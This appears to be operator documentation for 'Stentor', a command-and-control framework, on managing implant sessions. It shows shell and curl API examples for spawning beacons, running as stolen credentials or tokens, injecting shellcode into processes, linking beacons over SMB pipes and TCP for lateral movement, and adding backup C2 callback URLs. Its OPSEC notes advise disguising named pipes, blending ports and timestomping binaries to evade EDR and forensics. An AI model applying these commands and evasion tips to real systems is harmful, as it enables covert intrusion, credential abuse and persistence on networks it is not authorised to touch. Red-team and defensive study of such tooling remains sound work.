Session Management¶
Commands for managing beacon sessions: spawning new beacons, managing peer-to-peer (P2P) links, session metadata, beacon configuration, and exit strategies. These commands control the lifecycle and topology of your implant network.
Session Topology¶
Stentor supports hierarchical beacon networks where child beacons route traffic through parent beacons back to the C2 server. This enables access to segmented networks without direct connectivity.
graph LR
TS[Teamserver] <-->|WebSocket| R[Relay Agent]
R <-->|HTTPS/DNS| PB[Parent Beacon]
PB <-->|SMB Pipe| CB1[Child Beacon<br>SMB Link]
PB <-->|TCP Bind| CB2[Child Beacon<br>TCP Link]
CB1 <-->|SMB Pipe| CB3[Grandchild<br>Beacon]
style TS fill:#1a1a2e,color:#e0e0e0,stroke:#00bcd4
style R fill:#16213e,color:#e0e0e0,stroke:#00bcd4
style PB fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
style CB1 fill:#533483,color:#e0e0e0,stroke:#ce93d8
style CB2 fill:#533483,color:#e0e0e0,stroke:#ce93d8
style CB3 fill:#2e1065,color:#e0e0e0,stroke:#ce93d8 Parent beacons act as relay points -- child beacons send their traffic through the parent's established C2 channel. This means child beacons do not need direct internet access.
Session Commands Reference¶
| Command | Syntax | Description | Requires Admin |
|---|---|---|---|
spawn | spawn [x86\|x64] <listener> | Spawn a new beacon session | No |
spawnas | spawnas [DOMAIN\user] [password] [listener] | Spawn beacon as another user | No |
spawnu | spawnu [pid] [listener] | Spawn beacon via token theft from PID | No |
inject | inject <pid> <x86\|x64> <listener> | Inject beacon into existing process | No |
link | link <host> [pipe_name] | Link to SMB named pipe beacon | No |
connect | connect <host> <port> | Connect to TCP bind beacon | No |
unlink | unlink <child_beacon_id> | Disconnect a linked child beacon | No |
note | note <text> | Add a label to a beacon session | No |
checkin | checkin | Force immediate check-in | No |
cancel | cancel [pattern] | Cancel queued download tasks | No |
clear | clear | Clear all pending tasks | No |
beacon_config | beacon_config [info\|add\|remove\|hold\|release\|reset] | View/manage beacon configuration | No |
variables | variables | View beacon runtime variables | No |
data-store | data-store [args...] | View beacon data store contents | No |
exit | exit | Terminate the beacon process | No |
Spawning New Sessions¶
Spawn commands create new beacon sessions from an existing beacon. Each method uses a different identity or injection mechanism.
spawn¶
Spawn a new beacon session by generating shellcode for the specified listener, injecting it into a sacrificial process (per spawnto configuration), and calling back to the listener.
Syntax:
The architecture argument is optional -- defaults to x64 if only a listener name is provided (e.g., spawn HTTPS is equivalent to spawn x64 HTTPS).
How it works:
- Backend requests shellcode generation from the Relay for the specified listener
- Relay cross-compiles a stageless beacon and converts it to shellcode via Donut
- Shellcode is sent to the parent beacon as a
spawntask - Parent beacon creates a sacrificial process (per
spawnto_x64/spawnto_x86config) - Shellcode is injected into the sacrificial process
- New beacon calls back to the specified listener
Shell example:
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "spawn x64 HTTPS", "confirmed": true}'
Listener name resolution
The listener name is resolved case-insensitively. Use the exact name from GET /api/v1/listeners or the listener panel in the UI.
spawnas¶
Spawn a beacon as another user using explicit credentials via CreateProcessWithLogonW. The new beacon runs under the specified user's security context.
Syntax:
If no backslash is present in the user specification, the domain defaults to . (local machine).
How it works:
- Backend generates shellcode for the specified listener (same as
spawn) - Parent beacon calls
CreateProcessWithLogonWwith the provided credentials - New process runs under the target user's token
- Shellcode is injected into the new process
- New beacon calls back under the target user's identity
Shell example:
beacon> spawnas CORP\svc_backup P@ssw0rd! HTTPS
[*] Tasked beacon to spawn as CORP\svc_backup via listener "HTTPS"
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "spawnas CORP\\svc_backup P@ssw0rd! HTTPS", "confirmed": true}'
OPSEC Considerations
- Creates a new logon session -- generates Windows Event 4624 Type 2 (interactive logon)
- Failed attempts generate Event 4625 (failed logon) which may trigger account lockout policies
- The spawned process inherits the target user's profile and group memberships
- Consider using
spawnu(token theft) instead if you already have a process running as the target user
spawnu¶
Spawn a beacon under another process's identity by stealing its token. The new beacon inherits the security context of the target process without requiring credentials.
Syntax:
How it works:
- Backend generates shellcode for the specified listener
- Parent beacon opens a handle to the target PID
- Token is duplicated from the target process
- A new process is created using the stolen token
- Shellcode is injected into the new process
- New beacon calls back under the stolen identity
Shell example:
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "spawnu 4728 HTTPS", "confirmed": true}'
Finding target PIDs
Use ps to list processes and identify PIDs running under the desired user identity. Look for long-running service processes (e.g., svchost.exe, application services) for stable token sources.
OPSEC Considerations
- Requires
SeDebugPrivilegeor sufficient access rights to open the target process - Opening a process handle and duplicating a token generates ETW telemetry
- The stolen token provides the same privileges as the source process, including group memberships
inject¶
Inject beacon shellcode into an existing process. Unlike spawn, this does not create a new process -- the beacon runs inside the target process's address space.
Syntax:
All three arguments are required. The architecture must match the target process (injecting x64 shellcode into an x86 process will crash it).
How it works:
- Backend generates shellcode for the specified listener and architecture
- Parent beacon opens a handle to the target process
- Memory is allocated in the target process
- Shellcode is written and executed using the configured injection technique
- New beacon calls back from within the target process
The injection technique is configurable via the CNA PROCESS_INJECT_EXPLICIT hook, allowing operators to swap injection methods at runtime.
Shell example:
beacon> inject 3156 x64 HTTPS
[*] Tasked beacon to inject x64 shellcode into PID 3156 for listener "HTTPS"
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "inject 3156 x64 HTTPS", "confirmed": true}'
OPSEC Considerations
- Cross-process injection is heavily monitored by EDR. This is one of the most detectable post-exploitation actions.
- Generates multiple telemetry events:
VirtualAllocEx,WriteProcessMemory,CreateRemoteThread(or equivalent for the chosen technique) - Architecture mismatch (e.g., x64 shellcode into x86 process) will crash the target process
- Prefer
spawn(which uses a sacrificial process) overinjectinto production processes - If the target process exits, the injected beacon dies with it
P2P Beacon Linking¶
Peer-to-peer linking allows beacons to communicate through parent beacons rather than directly to the C2 server. This is essential for reaching hosts on isolated network segments.
sequenceDiagram
participant Op as Operator
participant Parent as Parent Beacon
participant Child as Child Beacon (Listening)
Note over Child: Child beacon starts<br>listening on SMB pipe<br>or TCP port
Op->>Parent: link <host> [pipe] / connect <host> <port>
Parent->>Child: Connect to pipe/port
Child-->>Parent: Encrypted handshake
Parent-->>Child: Session established
Note over Parent,Child: P2P channel active<br>Child traffic routes<br>through Parent
loop Task Execution
Op->>Parent: Task for child beacon
Parent->>Child: Forward task via P2P
Child-->>Parent: Return result
Parent-->>Op: Forward result to C2
end
Op->>Parent: unlink <child_id>
Parent->>Child: Disconnect
Note over Child: Child goes to sleep<br>Can be re-linked later link¶
Connect to an SMB named pipe beacon. The child beacon must already be running and listening on a named pipe (created via an SMB payload or spawn with an SMB listener).
Syntax:
The default pipe name is \\.\pipe\stentor. If the child beacon was configured with a custom pipe name, specify it explicitly.
How it works:
- Parent beacon connects to the child's SMB named pipe on the specified host
- An encrypted P2P channel is established over the pipe
- Child beacon's traffic is routed through the parent back to the C2 server
- The child beacon appears in the operator console as a linked session
Shell example:
beacon> link 10.10.10.50
[*] Tasked beacon to link to \\10.10.10.50\pipe\stentor
beacon> link 10.10.10.50 \\.\pipe\custom_pipe
[*] Tasked beacon to link to \\10.10.10.50\pipe\custom_pipe
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "link 10.10.10.50", "confirmed": true}'
connect¶
Connect to a TCP bind beacon. The child beacon must already be running and listening on a TCP port (created via a TCP payload or spawn with a TCP listener).
Syntax:
Both arguments are required. Port must be between 1 and 65535.
How it works:
- Parent beacon opens a TCP connection to the child on the specified host and port
- An encrypted P2P channel is established over the TCP connection
- Child beacon's traffic is routed through the parent back to the C2 server
- The child beacon appears in the operator console as a linked session
Shell example:
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "connect 10.10.10.50 4444", "confirmed": true}'
unlink¶
Disconnect a linked child beacon. The child beacon goes to sleep and can be re-linked later using link or connect.
Syntax:
The argument is the UUID of the child beacon (visible in the beacon list or console output).
Shell example:
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "unlink a1b2c3d4-e5f6-7890-abcd-ef1234567890", "confirmed": true}'
P2P OPSEC Notes¶
SMB vs TCP P2P Channels
SMB named pipes blend with normal Windows file sharing traffic (port 445). Most enterprise networks allow SMB between hosts, making this the preferred P2P method. However, the default pipe name (\\.\pipe\stentor) is a known indicator -- always customize it.
TCP bind connections are more visible on the network since they use non-standard ports, but they work across network segments where SMB may be blocked. Choose a port that blends with the target environment (e.g., 8080, 443).
Detection Considerations
- SMB: Named pipe creation events (Sysmon Event ID 17/18), unusual pipe names
- TCP: New listening port (netstat), connection to non-standard port from workstation
- Both: Traffic volume anomalies through parent beacon
- Customize pipe names to match legitimate software patterns (e.g.,
\\.\pipe\chrome.update.1)
Session Metadata¶
Commands for annotating, managing, and inspecting beacon sessions.
note¶
Add a text note or label to a beacon session. Notes are stored server-side in the beacon registry and persisted to the database. Useful for tracking purpose, ownership, or status of individual beacons.
Syntax:
To clear a note, run note with no arguments.
Shell example:
beacon> note DC lateral movement pivot
[*] Note set: "DC lateral movement pivot"
beacon> note
[*] Note cleared
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "note DC lateral movement pivot", "confirmed": true}'
checkin¶
Force the beacon to check in immediately, bypassing the current sleep interval. The beacon re-sends its system information (hostname, IP, user, PID, etc.) on the next poll cycle.
Syntax:
Shell example:
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "checkin", "confirmed": true}'
When to use checkin
Use checkin after changing beacon configuration (sleep, evasion settings) to verify changes took effect immediately. Also useful for confirming a beacon is still alive after a period of inactivity. For sleep/jitter configuration, see the Evasion Commands page.
cancel¶
Cancel queued download tasks for the beacon. Accepts a glob pattern to selectively cancel downloads matching a filename pattern.
Syntax:
If no pattern is provided, defaults to * (cancel all pending downloads).
Shell example:
beacon> cancel *.docx
[*] Cancelled 3 download(s) matching "*.docx"
beacon> cancel
[*] Cancelled 7 download(s) matching "*"
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "cancel *.docx", "confirmed": true}'
clear¶
Clear all pending (not yet delivered) tasks from the beacon's task queue. Tasks already delivered to the beacon are unaffected.
Syntax:
Shell example:
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "clear", "confirmed": true}'
When to use clear
Use clear when you have queued multiple tasks by mistake or want to abort a sequence of operations. Only server-side pending tasks are removed -- anything already sent to the beacon will still execute.
Beacon Configuration¶
Commands for viewing and managing beacon runtime configuration.
beacon_config¶
View and manage the beacon's configuration, including C2 URLs, sleep settings, evasion state, and session metadata.
Syntax:
beacon_config # Show current configuration (default)
beacon_config info # Same as above
beacon_config add <url> # Add a C2 callback URL
beacon_config remove <url> # Remove a C2 callback URL
beacon_config hold <url> # Temporarily disable a C2 URL
beacon_config release <url> # Re-enable a held C2 URL
beacon_config reset # Reset to default configuration
Shell example:
beacon> beacon_config
[*] Beacon Configuration:
Beacon ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
Sleep: 60s (25% jitter)
PID: 4728
User: CORP\admin
Hostname: WS-PC01
SpawnTo x64: %windir%\sysnative\rundll32.exe
SpawnTo x86: %windir%\syswow64\rundll32.exe
BlockDLLs: enabled
SleepMask: enabled
Syscall: Indirect
BeaconGate: enabled
beacon> beacon_config add https://backup-c2.example.com/api
[*] Added C2 URL: https://backup-c2.example.com/api
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "beacon_config", "confirmed": true}'
variables¶
View all beacon runtime variables. Variables are resolved server-side from the beacon registry -- no task is dispatched to the beacon. This provides a comprehensive view of the beacon's current state.
Syntax:
Available variables:
| Variable | Description |
|---|---|
$bid | Beacon UUID |
$hostname | Target hostname |
$user | Current username |
$ip | Target IP address |
$os | Operating system |
$arch | Architecture (x86/x64) |
$pid | Process ID |
$sleep | Sleep interval (seconds) |
$jitter | Jitter percentage |
$note | Operator-assigned note |
$spawnto_x86 | x86 sacrificial process path |
$spawnto_x64 | x64 sacrificial process path |
$blockdlls | BlockDLLs policy state |
$ppid_target | PPID spoofing target |
$sleep_mask | Sleep masking state |
$syscall_method | Syscall method (None/Direct/Indirect) |
$beacon_gate | BeaconGate state |
$injection_technique | Current injection technique |
Shell example:
beacon> variables
[*] Beacon Variables:
$bid a1b2c3d4-e5f6-7890-abcd-ef1234567890
$hostname WS-PC01
$user CORP\admin
$ip 10.10.10.50
$os Windows 10 Pro 22H2
$arch x64
$pid 4728
$sleep 60
$jitter 25
$note DC pivot
$spawnto_x64 %windir%\sysnative\rundll32.exe
$blockdlls true
$sleep_mask true
$syscall_method Indirect
$beacon_gate true
API example:
# Via shell command
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "variables", "confirmed": true}'
# Via dedicated REST endpoint
curl -s "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/variables" \
-H "Authorization: Bearer $TOKEN"
data-store¶
View the beacon's data store contents. The data store is a key-value store used for BOF pre-loading and persistent data across task executions.
Syntax:
Shell example:
API example:
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "data-store", "confirmed": true}'
Exit Strategies¶
exit¶
Terminate the beacon process cleanly. The beacon sends a final check-in result confirming the exit, then calls its configured exit function to terminate.
Syntax:
The exit behavior depends on the exit_func build option configured during payload generation:
| Exit Function | Behavior | Use Case |
|---|---|---|
process (default) | Calls ExitProcess -- terminates the entire host process | Standalone EXE beacons |
thread | Calls ExitThread -- terminates only the beacon thread | Injected beacons (keeps host process alive) |
Shell example:
API example (shell command):
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "exit", "confirmed": true}'
API example (REST endpoint):
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/state/exit" \
-H "Authorization: Bearer $TOKEN"
OPSEC Considerations
- The
exitcommand leaves the implant binary on disk (if the beacon was not fileless). Consider usingtimestompon the binary before exiting to reduce forensic artifacts. - When using
exit_func: process, any other code running in the same process (e.g., if you injected into a legitimate application) will also be terminated, which is noisy. - For injected beacons, always use
exit_func: threadat build time so thatexitonly kills the beacon thread. - Cross-reference the
exit_funcbuild option in Evasion Kits for details.
Command Interaction Summary¶
The following diagram shows how session management commands flow through the Stentor architecture:
flowchart TD
A[Operator Console] -->|"spawn / inject / link / exit"| B[Backend Shell Handler]
B -->|spawn / spawnas / spawnu / inject| C{Shellcode Needed?}
C -->|Yes| D[Relay Agent]
D -->|Generate shellcode| E[Return to Backend]
E -->|Enqueue spawn task| F[Task Queue]
C -->|No: link / unlink / exit / note| F
F -->|Beacon polls| G[Parent Beacon]
G -->|Execute task| H[Result]
H -->|spawn/inject| I[New Beacon Session]
H -->|link/connect| J[P2P Channel Established]
H -->|exit| K[Beacon Terminates]
style A fill:#1a1a2e,color:#e0e0e0,stroke:#00bcd4
style B fill:#16213e,color:#e0e0e0,stroke:#00bcd4
style D fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
style F fill:#533483,color:#e0e0e0,stroke:#ce93d8
style G fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
style I fill:#1b5e20,color:#e0e0e0,stroke:#66bb6a
style J fill:#1b5e20,color:#e0e0e0,stroke:#66bb6a
style K fill:#b71c1c,color:#e0e0e0,stroke:#ef5350 Commands that require shellcode generation (spawn, spawnas, spawnu, inject) involve a round-trip to the Relay agent before the task is queued. Commands that operate directly on the beacon (link, connect, unlink, note, checkin, clear, exit) are queued immediately.